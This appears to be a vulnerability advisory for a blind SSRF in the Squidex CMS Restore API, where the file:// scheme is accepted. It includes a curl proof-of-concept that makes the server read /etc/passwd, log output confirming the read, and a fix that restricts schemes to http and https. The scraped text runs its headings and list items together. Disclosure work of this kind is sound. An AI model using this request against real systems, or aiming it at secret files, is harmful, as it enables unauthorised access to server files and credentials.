
CVE-2026-41177, a Blind SSRF vulnerability in Squidex CMS (prior to v7.23.0). Includes root cause analysis, reproduction steps, and impact assessment regarding Local File Interaction (LFI).
Technical research and analysis for CVE-2026-41177: A Blind Server-Side Request Forgery (SSRF) vulnerability in the Squidex CMS Restore API.
/api/apps/restore)The Squidex Restore API is vulnerable to Blind Server-Side Request Forgery (SSRF). The application fails to validate the URI scheme of the user-supplied Url parameter, allowing the use of the file:// protocol. This allows an authenticated administrator to force the backend server to interact with the local filesystem, leading to Local File Interaction (LFI) and potential disclosure of sensitive system information through side-channel analysis of internal logs.
file:///etc/passwdRestoreJob).204 No Content, the internal server logs reveal that the server successfully opened and read the file before failing because the content was not a valid ZIP archive.Run the following curl command (replace <TOKEN> with a valid admin token):
curl -X POST http://localhost/api/apps/restore/ \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"Url": "file:///etc/passwd",
"Name": "exploit-poc"
}' -v
The following error in the Squidex container logs confirms the internal file interaction:
{
"logLevel": "Error",
"message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
"exception": {
"type": "System.IO.InvalidDataException",
"message": "End of Central Directory record could not be found.",
"stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
}
}
Note: The InvalidDataException confirms that the server successfully accessed and read the bytes of the file.
This vulnerability allows authenticated attackers to:
appsettings.json, secrets).http:// and https:// schemes.file:// scheme before processing.